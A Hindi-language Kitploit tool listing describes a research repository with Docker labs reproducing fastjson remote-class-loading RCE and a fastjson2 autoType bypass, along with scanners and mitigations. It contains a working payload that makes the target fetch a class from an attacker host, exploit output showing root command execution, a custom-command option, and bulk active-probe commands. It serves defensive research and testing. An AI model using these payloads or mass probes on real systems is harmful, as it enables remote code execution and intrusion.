Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
fastjson-jsontype-rce-lab — Docker labs + fastjson रिमोट-क्लास-लोड RCE के लिए डिफेंसिव स्कैनर। fastjson 1.2.66-1.2.83: @JSONType संसाधन प्रोब (CVE-2026-16723)। fastjson2 2.0.57: हमलावर @type, पॉलीमॉर्फिक प्रकारों (@JSONType(seeAlso) / Jackson @JsonSubTypes) के माध्यम से autoType DISABLED रहने पर loadClass तक पहुँचता है। केवल-मार्कर पेलोड; safeMode + JDK17 नियंत्रण। | Kitploit
उपकरण/GitHubGitHub/dinosn/fastjson-jsontype-rce-lab
स्थैतिक विश्लेषणगतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

Docker labs + fastjson रिमोट-क्लास-लोड RCE के लिए डिफेंसिव स्कैनर। fastjson 1.2.66-1.2.83: @JSONType संसाधन प्रोब (CVE-2026-16723)। fastjson2 2.0.57: हमलावर @type, पॉलीमॉर्फिक प्रकारों (@JSONType(seeAlso) / Jackson @JsonSubTypes) के माध्यम से autoType DISABLED रहने पर loadClass तक पहुँचता है। केवल-मार्कर पेलोड; safeMode + JDK17 नियंत्रण।

GitHub
dinosn/fastjson-jsontype-rce-lab

fastjson-jsontype-rce-lab

रिपॉजिटरी देखें
2039224 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

Fastjson @JSONType रिमोट-JAR/FD-चेन लैब और डिटेक्शन

यह रिपॉजिटरी अब दो अलग-अलग Fastjson अनुसंधान ट्रैक संरक्षित करती है:

  • modern-fd/ अनुशंसित, मार्कर-ओन्ली पुनर्निर्माण है जो Spring Boot 3, सामान्य embedded Tomcat और JDK 17 पर Fastjson 1.2.83 सिंगल-बॉडी रिमोट-JAR/फ़ाइल-डिस्क्रिप्टर चेन का है। यह AutoType बंद के साथ लिटरल फिक्स्ड-DTO सिंक JSON.parseObject(body, BoundEnvelope.class) का उपयोग करता है।
  • मूल टॉप-लेवल Docker Compose लैब पुराने JDK 8 डायरेक्ट रिमोट-क्लास रूट को संरक्षित करती है। यह कमांड-सक्षम है और इसे आधुनिक-JDK विधि के बजाय एक लीगेसी, आइसोलेटेड प्रूफ के रूप में माना जाना चाहिए।
  • scanner/ में पैसिव रिक्वेस्ट/लॉग डिटेक्शन, स्टैटिक आर्टिफैक्ट इन्वेंट्री और एक नॉन-एक्ज़ीक्यूटिंग रीचैबिलिटी प्रोब शामिल है।

बग: ParserConfig.checkAutoType हर @type वैल्यू को @JSONType एनोटेशन के लिए getResourceAsStream(typeName.replace('.','/') + ".class") करके प्रोब करता है। आधुनिक Linux/JDK कॉम्बिनेशन पर, एक रिमोट jar:http प्रोब JAR को एक खुले डिस्क्रिप्टर के पीछे कैश्ड छोड़ सकता है; बाद में jar:file:/proc/self/fd/N प्रोब उसी बॉडी में इसे वैध क्लास नामों के तहत फिर से खोल सकते हैं और एक एनोटेटेड क्लास को इनिशियलाइज़ कर सकते हैं। सटीक 1.2.83 कंपोज़िशन AutoType डिसेबल्ड के साथ और List<Object> युक्त एक फिक्स्ड DTO के माध्यम से काम करता है। इसलिए अकेले बाइंडिंग एक मिटिगेशन नहीं है। पूरा वॉक-थ्रू: docs/MECHANISM.md।

सुरक्षा समीक्षा निष्कर्ष

साथी संपूर्ण-प्रोजेक्ट समीक्षा में सभी 193 Fastjson 1.2.83 प्रोडक्शन Java फ़ाइलों में 2,041 कॉल करने योग्य/स्टैटिक-इनिशियलाइज़र पंक्तियाँ शामिल थीं। नीचे दी गई तालिका सबसे अधिक प्रभाव वाले परिणामों को प्राथमिकता देती है; यह दावा नहीं है कि हर Fastjson डिप्लॉयमेंट प्रभावित है। यह रिपॉजिटरी सीधे F105 को रिप्रोड्यूस करती है। शेष प्रविष्टियाँ अलग से सील की गई सोर्स समीक्षा और बाउंडेड लैब साक्ष्य का सारांश देती हैं।

वैलिडेशन लेबल, पूर्वापेक्षाएँ, निचले-स्तर के निष्कर्ष, रेमेडिएशन प्राथमिकताएँ और स्पष्ट नकारात्मक सीमाओं के लिए findings/FINDINGS.md देखें।

⚠️ केवल अधिकृत उपयोग

यह रिपॉजिटरी उन सिस्टमों के शिक्षा, डिफेंसिव रिसर्च और अधिकृत परीक्षण के लिए है जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। आधुनिक लैब के आंतरिक नेटवर्क के लिए समर्थित होने पर, होस्ट प्रकाशन केवल 127.0.0.1 पर अनुरोधित है; इसकी स्क्रिप्ट परीक्षण को पूरी तरह से उस आइसोलेटेड नेटवर्क के भीतर चलाती हैं। आधुनिक लैब में कोई प्रोसेस-एक्ज़ीक्यूशन प्रिमिटिव नहीं है और यह केवल एक फिक्स्ड इन-JVM मार्कर सेट करती है। लीगेसी JDK 8 लैब id चलाती है और उसका आउटपुट /tmp/PWNED में लिखती है; इसे आइसोलेटेड रखें। लीगेसी एक्सप्लॉइट या एक्टिव प्रोब को अनधिकृत सिस्टमों पर न लगाएँ।

अपने पर्यावरण को स्कैन करें

scanner/ डायरेक्ट्री चार डिपेंडेंसी-फ्री Python 3 टूल्स के साथ आती है (कोई pip इंस्टॉल नहीं)।

  • fjdetect.py — रिमोट-JAR सीड्स और /proc/self/fd या /dev/fd सीक्वेंस के लिए डिकोडेड JSON रिक्वेस्ट बॉडीज़ या संरचित JSON लॉग्स का पैसिव रूप से निरीक्षण करें।
  • fjscan_static.py — कमजोर कॉम्बिनेशन के लिए jars/wars/ears की इन्वेंट्री करें (कंटेंट-बैक्ड, मेटाडेटा-वेरिफाइड 1.2.83 × वास्तविक Spring Boot लोडर क्लास कंटेंट)। प्रोब-युक्त 1.2.48–1.2.82 रिलीज़ और केवल-मेटाडेटा/फ़ाइलनाम वाले उम्मीदवार समीक्षा के लिए अलग से रिपोर्ट किए जाते हैं। CI-गेट अनुकूल (EXPOSED पर एग्ज़िट 2)।
  • fjscan_probe.py — एक्टिव, सुरक्षित रीचैबिलिटी जाँच: आपके नियंत्रण वाले कैनरी पर @type फायर करता है (बिल्ट-इन लिसनर या Burp Collaborator / interactsh) और रिसोर्स-फेच कॉलबैक को सहसंबंधित करता है। इसका बिल्ट-इन लिसनर एक खाली 404 लौटाता है; बाहरी लिसनर को समकक्ष रूप से कॉन्फ़िगर करें। एक कॉलबैक क्लास लोडिंग या RCE साबित नहीं करता है।
  • fjpayload.py — मैनुअल परीक्षण के लिए रिमोट-रिसोर्स फेच बॉडीज़ उत्पन्न करें; जब एक्ज़ीक्यूशन इच्छित न हो तो केवल खाली/404 लिसनर का उपयोग करें।
root@kitploit:~
# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = प्रति पंक्ति एक टारगेट — एक पूर्ण [METHOD ]URL या एक सीधा डोमेन (--scheme / --target-port / --path के साथ विस्तारित); # टिप्पणियाँ अनुमत हैं:

root@kitploit:~
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

विकल्प

fjscan_probe.py (एक्टिव प्रोब)

fjscan_static.py (इन्वेंट्री): <paths…> · --threads N (डिफ़ॉल्ट 8) · --json (मशीन आउटपुट; यदि कोई EXPOSED हो तो एग्ज़िट कोड 2)।

fjpayload.py (जनरेटर): <collaborator> · --targets-file/-f <file\|-> (बल्क) · --port · --token · --wrap · --entry।

Collaborator नोट: @JSONType jar: सिंक typeName.replace('.','/') करता है, इसलिए होस्ट में हर डॉट एक स्लैश बन जाता है — एक डॉटेड Burp Collaborator सबडोमेन (abc.oastify.com) इसके माध्यम से डिलीवर नहीं किया जा सकता (टूल्स एक इंटीजर IP + URL पाथ टोकन पर फॉल बैक करते हैं)। एक पब्लिक Collaborator में कॉलबैक पाने के लिए, --probe-type dns का उपयोग करें: java.net.Inet4Address प्रिमिटिव एक डॉटेड होस्ट स्वीकार करता है और एक DNS इंटरैक्शन फायर करता है (<tok>.<sub>.oastify.com), जो Inet4Address पार्स प्रिमिटिव + एग्रेस की पुष्टि करता है। यह पूर्वापेक्षा साक्ष्य है, रिमोट-JAR/FD टर्मिनल का प्रमाण नहीं। देखें scanner/README.md।

मार्कर-ओन्ली आधुनिक-JDK लैब (अनुशंसित)

आवश्यकताएँ: Docker + Docker Compose, और पहली बिल्ड पर Maven Central तक आउटबाउंड एक्सेस (fastjson / spring-boot-loader / asm लाने के लिए)।

root@kitploit:~
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

पॉज़िटिव केस एक सामान्य एम्बेडेड-Tomcat रिक्वेस्ट थ्रेड को एक बॉडी भेजता है। इसका लिटरल सिंक final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class) है। सफलता केवल फिक्स्ड प्रॉपर्टी और लॉग टोकन FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 है; रिस्पॉन्स अभी भी एक सामान्य रूप से बाउंड BoundEnvelope लौटाता है। एविडेंस डायरेक्ट्री में रिक्वेस्ट, रिस्पॉन्स, कंटेनर मेटाडेटा, लॉग्स और SHA-256 मैनिफेस्ट शामिल हैं।

कंट्रोल्स सामान्य JSON, बिना सीड के FD उम्मीदवार, असंभव डिस्क्रिप्टर के बाद एक सीड, और SafeMode को कवर करते हैं। देखें modern-fd/README.md।

FearsOff डिस्क्लोज़र JDK 21 पर वही रिटेन्ड-JAR टर्मिनल दिखाता है जिसमें एक प्रोसेस-पर्सिस्टेंट कैश और प्रति रिक्वेस्ट एक FD उम्मीदवार होता है। इस रिपॉजिटरी की आधुनिक लैब इसके बजाय एक सिंगल-बॉडी JDK 17 कंपोज़िशन रिप्रोड्यूस करती है: फेल्योर-सॉफ्ट सीड और बाउंडेड FD उम्मीदवार एक फिक्स्ड-DTO रिक्वेस्ट द्वारा ले जाए जाते हैं। JDK 21 बाहरी रूप से रिपोर्ट किया गया है; यह यहाँ उत्पादित रनटाइम परिणाम नहीं है।

लीगेसी JDK 8 डायरेक्ट-क्लास लैब

मूल टॉप-लेवल Compose प्रोजेक्ट पुराने वन-स्टेज रूट को रिप्रोड्यूस करने के लिए उपलब्ध है। modern-fd/ के विपरीत, यह कमांड-सक्षम है और इसे केवल आइसोलेटेड लैब में चलाया जाना चाहिए:

root@kitploit:~
make up
make exploit
make down

अपेक्षित make exploit आउटपुट:

root@kitploit:~
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

ClassCastException इस बात का संकेत है कि बाइंडिंग एक मिटिगेशन नहीं है: अटैकर क्लास अपना <clinit> @type प्रोब के दौरान चलाती है, इससे पहले कि fastjson इसे Dto में कास्ट करने का प्रयास करे।

लीगेसी-लेन विविधताएँ

  • केवल डायरेक्ट-क्लास लेन: target/Dockerfile को JDK 17 में बदलना इस लीगेसी क्राफ्टेड-नाम डेफिनिशन को ब्लॉक करता है और एक फेच छोड़ देता है। वह परिणाम modern-fd/ में अलग /proc/self/fd निरंतरता का परीक्षण या मिटिगेशन नहीं करता है।
  • साबित करें कि यह autoType नहीं है: टारगेट कभी setAutoTypeSupport(true) नहीं कहता — http://127.0.0.1:8080/ पर बैनर जाँचें।
  • कस्टम कमांड: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker।

रिपॉजिटरी संरचना

मिटिगेशन

सामान्य हैंडलर-फ्री पथ पर -Dfastjson.parser.safeMode=true सक्षम करें या जहाँ तत्काल माइग्रेशन संभव नहीं है वहाँ विक्रेता की com.alibaba:fastjson:1.2.83_noneautotype बिल्ड का उपयोग करें, और इंस्टॉल किए गए AutoTypeCheckHandlers का ऑडिट करें। JVM एग्रेस प्रतिबंधित करें; अविश्वसनीय पार्सिंग को Fastjson 1.x से दूर माइग्रेट करें; डिकोडेड @type रिमोट-JAR सीड्स और /proc/self/fd या /dev/fd उम्मीदवारों पर एक ही रिक्वेस्ट के भीतर और रिक्वेस्ट में सहसंबंधित दोनों तरह से अलर्ट करें। DTO बाइंडिंग और JDK 9+ आधुनिक कंपोज़िशन के लिए पूर्ण मिटिगेशन नहीं हैं।

fastjson2 — डिफ़ॉल्ट कॉन्फ़िगरेशन में एक अलग समस्या

fastjson2/ एक दूसरी, स्वतंत्र लैब है। fastjson2 में fastjson 1.x @JSONType रिसोर्स प्रोब नहीं है। हालाँकि, यह अटैकर-नियंत्रित @type को ClassLoader.loadClass() तक पहुँचने की अनुमति देता है autoType डिसेबल्ड के साथ, जब भी पार्स पथ में एक पॉलीमॉर्फिक प्रकार शामिल होता है — क्योंकि ObjectReaderSeeAlso का कंस्ट्रक्टर SupportAutoType को हार्डकोड करता है, और एक seeAlso मिस इससे पहले कि एसाइनेबिलिटी और DataSource/RowSet जाँचें चलें, पूर्ण autoType रिज़ॉल्यूशन में गिर जाता है।

ट्रिगर्स सामान्य मॉडलिंग एनोटेशन हैं — @JSONType(seeAlso=), Jackson @JsonSubTypes (सम्मानित किया जाता है क्योंकि useJacksonAnnotation डिफ़ॉल्ट रूप से true है), @JsonTypeInfo, सील्ड प्रकार। Spring Boot फैट jar के तहत कॉन्टेक्स्ट क्लासलोडर jar:http: नामों को रिज़ॉल्व करता है, इसलिए क्लास नेटवर्क से फेच की जाती है और उसका स्टैटिक इनिशियलाइज़र चलता है।

fastjson2 2.0.62 (नवीनतम रिलीज़) और 2.0.57 पर, JDK 8 पर रिप्रोड्यूस किया गया। safeMode=true इसे ब्लॉक करता है; JDK 17 इसे SSRF तक डाउनग्रेड करता है; autoTypeFilter(...) सुरक्षा नहीं करता। Chaitin (长亭) द्वारा डिस्क्लोज़ किया गया, ~2026-07-25 — यह इस रिपॉजिटरी का निष्कर्ष नहीं है। मेंटेनर के पास PR #7703 में खुला हार्डनिंग कार्य है (बंद #7695 को सुपरसीड करता हुआ) जो टाइप नामों में : और ! को अस्वीकार करता है; किसी भी रिलीज़्ड वर्ज़न में यह शामिल नहीं है — 2.0.62 दोनों से पहले है।

root@kitploit:~
make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

क्रेडिट्स और संदर्भ

  • मूल डिस्क्लोज़र और तकनीकी पोस्ट: Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (जुलाई 21, 2026)। यह उन्हीं JDK 8 डायरेक्ट-क्लास और आधुनिक रिटेन्ड-JAR /proc/self/fd तंत्रों को डिस्क्लोज़ करता है जिन्हें यहाँ पुनर्निर्मित किया गया है।
  • मेंटेनर एडवाइज़री: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83। यह Spring Boot 2.x–4.x और JDK 8/11/17/21 में टाइप्ड-API रीचैबिलिटी के साथ-साथ सत्यापन की रिपोर्ट करता है। वे व्यापक वर्ज़न/रनटाइम मैट्रिक्स अपस्ट्रीम-रिपोर्टेड हैं; इस रिपॉजिटरी का रनटाइम प्रमाण प्रलेखित JDK 8 और JDK 17 लेन पर Fastjson 1.2.83 ही रहता है।
  • पब्लिक प्रूफ-ऑफ-कॉन्सेप्ट और @JSONType / jar-URL-इंटरनल-नाम तकनीक: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC। attacker/Gen.java इस लैब के लिए उस तकनीक को फिर से लागू करता है।
  • आधुनिक-JDK FD-चेन रिपोर्ट्स: WeChat लेख और पहले की विस्तृत Cnyes रिपोर्ट ने रिटेन्ड-JAR /proc/self/fd परिकल्पना प्रदान की। उन्हें स्वतंत्र रनटाइम प्रमाण के रूप में नहीं, बल्कि बाहरी रिपोर्ट के रूप में माना गया।
  • पब्लिक Linux FD इम्प्लीमेंटेशन: DmTomHL/fastjson-1.2.83-gadget-rce ने पुनर्निर्माण अंतर को कम किया। इसके कमांड-सक्षम कोड की स्टैटिक रूप से समीक्षा की गई और इसे निष्पादित नहीं किया गया; modern-fd/ स्वतंत्र रूप से लिखी गई मार्कर-ओन्ली क्लासेस और एक सामान्य फिक्स्ड-DTO Tomcat एंडपॉइंट का उपयोग करता है।

यह लैब और scanner/ टूलिंग उन निष्कर्षों को एक पुनरुत्पादनीय टेस्टबेड और डिफेंसिव जाँचों में पैकेज करते हैं। ऊपर के शोधकर्ताओं से संबद्ध नहीं और न ही उनके द्वारा समर्थित।

टूल डाउनलोड करें
प्राथमिकतानिष्कर्षसिद्ध परिणाममहत्वपूर्ण सीमा
1F105 — रिमोट @JSONType बाइटकोड एक्ज़ीक्यूशनसंगत Spring Boot लोडरों के माध्यम से अटैकर-सप्लाइड क्लास इनिशियलाइज़ेशन, जिसमें JDK 8 डायरेक्ट रूट और Linux/JDK 17 रिटेन्ड-JAR /proc/self/fd/N निरंतरता शामिल हैपार्सर-रीचेबल @type कैरियर, संगत Boot/TCCL लोडर, एग्रेस, SafeMode/IgnoreAutoType बंद, और एक सटीक अटैकर JAR की आवश्यकता है। आधुनिक फिक्स्ड-DTO रूट को अतिरिक्त रूप से एक जेनेरिक वैल्यू लेन (लैब List<Object> का उपयोग करती है), Linux procfs, एक रिटेन्ड डिस्क्रिप्टर और सटीक नाम संरेखण की आवश्यकता होती है; हर JDK, लोडर या OS पर सार्वभौमिक नहीं है
2F1/F45 — TemplatesImpl कमांड एक्ज़ीक्यूशनफिक्स्ड-DTO API के माध्यम से मार्कर कमांड एक्ज़ीक्यूशन, जिसमें एक अनदेखी बॉडी प्रॉपर्टी शामिल हैकमजोर सर्वर नीति की आवश्यकता है: क्लास एडमिशन, AutoType, और प्राइवेट-फील्ड पॉपुलेशन या समकक्ष पथ; डिफ़ॉल्ट सेटिंग्स इसे ब्लॉक करती हैं
3F70/C016 — अनबाउंडेड बफरिंग और GZIP विस्तारटाइप्ड byte/InputStream और एनोटेटेड DTO पथ बिना आउटपुट कैप के विस्तार या बफर करते हैं; कंस्ट्रेन्ड-हीप Java OOME रिप्रोड्यूस किया गयाएंडपॉइंट/स्कीमा और अटैकर-बाइट रीचैबिलिटी आवश्यक है; प्रोडक्शन-व्यापी आउटेज स्थापित नहीं किया गया
4F18/C089 — पार्सर-थ्रेड स्टैक एक्सहॉशनगहराई से नेस्टेड सामान्य ऑब्जेक्ट वैल्यू डिफ़ॉल्ट पार्सिंग के तहत StackOverflowError उत्पन्न कर सकती हैंरिक्वेस्ट-थ्रेड उपलब्धता पर प्रभाव; अपरिवर्तनीय JVM या सर्विस-व्यापी क्रैश नहीं
5F120/C162 — फिक्स्ड-स्कीमा HTTP SSRF/लोकल-रिसोर्स लोडिंगबॉडी-नियंत्रित JEditorPane/JTextPane.page HTTP रिक्वेस्ट करता है और बाउंडेड file: सामग्री को Document स्थिति में लोड कर सकता हैएप्लिकेशन को Swing प्रकार घोषित करने की आवश्यकता है; कोई स्वचालित रिस्पॉन्स एक्सफिल्ट्रेशन या RCE सिद्ध नहीं हुआ
6F118/C160 — हैश-कोलिज़न ऑथराइज़ेशन/डेटा-इंटेग्रिटी विफलताएक विशिष्ट Unicode FNV-1a-64 कोलिज़न एक विशेषाधिकार प्राप्त enum कॉन्स्टेंट से बाइंड हो सकता है या JSONPath म्यूटेशन को गलत बीन सेटर की ओर मोड़ सकता हैएक उपयोग योग्य कोलिज़न और डाउनस्ट्रीम ट्रस्ट या एक एक्सपोज़्ड JSONPath म्यूटेशन ऑपरेशन की आवश्यकता है; कोई क्लास एडमिशन या RCE नहीं
7F121/C163 — फिक्स्ड JdbcRowSet JNDI रीचैबिलिटीसटीक सेटर क्रम ने एक बॉडी-सेलेक्टेड आउटबाउंड JNDI/LDAP कनेक्शन का कारण बनासाक्ष्य एक कनेक्शन पर रुक जाता है: कोई नेमिंग रिस्पॉन्स, ऑब्जेक्ट फैक्ट्री, बाइटकोड लोडिंग या RCE नहीं
8F2/F45 — डिफ़ॉल्ट DNS रिज़ॉल्यूशनअटैकर-नियंत्रित होस्टनाम रिज़ॉल्यूशन डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत और एक अनदेखी फिक्स्ड-DTO प्रॉपर्टी के माध्यम से काम करता हैकेवल DNS/OOB इंटरैक्शन, जेनेरिक HTTP SSRF या RCE नहीं
फ़्लैगडिफ़ॉल्टउद्देश्य
--autooffसबसे सरल — प्रति टारगेट बेसलाइन + प्लेन + Unicode-एस्केप्ड तुलना DNS प्रोब भेजें, एक रोलअप प्रिंट करें; केवल --collaborator + --targets की आवश्यकता है
--canary-ip <ip>—बिल्ट-इन लिसनर मोड; इस होस्ट का IP जैसा टारगेट देखते हैं
--collaborator <v>—बाहरी OOB (IPv4 / int / डॉट-फ्री होस्ट / Collaborator सबडोमेन)
--probe-type <t>jsontypeमैनुअल मोड: jsontype = रिमोट-रिसोर्स फेच पथ (jar:http int-IP); dns = डॉटेड होस्ट के माध्यम से Inet4Address OOB (Collaborator-संगत); both
--targets <file|->—गैर-खाली टारगेट सूची; - stdin पढ़ता है (आवश्यक); खाली/केवल-टिप्पणी इनपुट नॉनज़ीरो एग्ज़िट करता है
--threads N20समवर्ती रिक्वेस्ट वर्कर्स
--header 'K: V'—अतिरिक्त रिक्वेस्ट हेडर (दोहराने योग्य); एक प्रतिनिधि फ्रंटएंड रिक्वेस्ट के लिए डिफ़ॉल्ट रूप से ब्राउज़र-जैसा --user-agent भेजा जाता है
--baseline '{"a":1}'—प्रति टारगेट एक हानिरहित कंट्रोल बॉडी भी भेजें; एक बेसलाइन/प्रोब रिस्पॉन्स डिफरेंशियल कंटेंट-सेंसिटिव एज, मिडलवेयर या एप्लिकेशन हैंडलिंग के अनुरूप है और इसे पुष्टि की आवश्यकता है
--max-redirects N3अधिकतम N एक्सैक्ट-ओरिजिन रीडायरेक्ट या मानक समान-होस्ट HTTP:80→HTTPS:443 अपग्रेड का अनुसरण करें (0 = कोई नहीं); HTTPS डाउनग्रेड, मनमाना पोर्ट/ओरिजिन परिवर्तन और क्रॉस-होस्ट रीडायरेक्ट ब्लॉक हैं; अपग्रेड केवल आधार गैर-गोपनीय हेडर बनाए रखते हैं
--evasion {ukey,uval,both}none@type कुंजी / क्लास वैल्यू को \uXXXX-एस्केप करें (fastjson इसे अभी भी डिकोड करता है); एक इवेज़न-ओन्ली कॉलबैक डिकोडेड प्रोब डेटा के लिटरल-कीवर्ड फ़िल्टर से गुजरने के अनुरूप है, लेकिन फिर भी पार्सर/वर्ज़न पुष्टि की आवश्यकता होती है
--scheme / --target-port / --pathhttp / — / /parseसीधे डोमेन कैसे विस्तारित होते हैं
--methodPOSTडिफ़ॉल्ट HTTP विधि
--wrap '{"u":{{P}}}'{{P}}प्रोब ऑब्जेक्ट को एक फ़ील्ड के अंदर नेस्ट करें
--listen-port / --port19000 / 80बिल्ट-इन कैनरी पोर्ट / कोलैबोरेटर पोर्ट
--wait / --timeout10 / 8कॉलबैक के लिए प्रतीक्षा सेकंड / प्रति-रिक्वेस्ट टाइमआउट
पथविवरण
modern-fd/मार्कर-ओन्ली Boot 3/JDK 17 फिक्स्ड-DTO FD-चेन लैब और निर्णायक कंट्रोल्स
scanner/पैसिव पेलोड/लॉग डिटेक्शन, स्टैटिक इन्वेंट्री और नॉन-एक्ज़ीक्यूटिंग रीचैबिलिटी टूल्स
target/मैन्युअल रूप से चयनित Boot लोडर के तहत JSON.parseObject(body, Dto.class) का उपयोग करने वाला लीगेसी JDK 8 टारगेट
attacker/लीगेसी कमांड-सक्षम JDK 8 क्लास जनरेटर और JAR सर्वर
exploit/लीगेसी exploit.sh प्रूफ
docs/MECHANISM.mdएनोटेटेड सोर्स वॉक-थ्रू
findings/FINDINGS.mdप्राथमिकता-आधारित संपूर्ण-प्रोजेक्ट निष्कर्ष, पूर्वापेक्षाएँ और रेमेडिएशन सीमाएँ
  • fastjson2 autoType डिस्क्लोज़र: Chaitin (长亭), ~2026-07-25। fastjson2/ लैब उस डिस्क्लोज़र का एक स्वतंत्र पुनरुत्पादन है, न कि इस रिपॉजिटरी का मूल निष्कर्ष। ट्रैकिंग थ्रेड: issue #7702 (एक उपयोगकर्ता, sevck द्वारा खोला गया); मेंटेनर हार्डनिंग PR #7703 / बंद #7695 में।
  • fastjson — https://github.com/alibaba/fastjson (यह भी देखें safeMode, और CVE-2022-25845 के पीछे का autoType इतिहास)।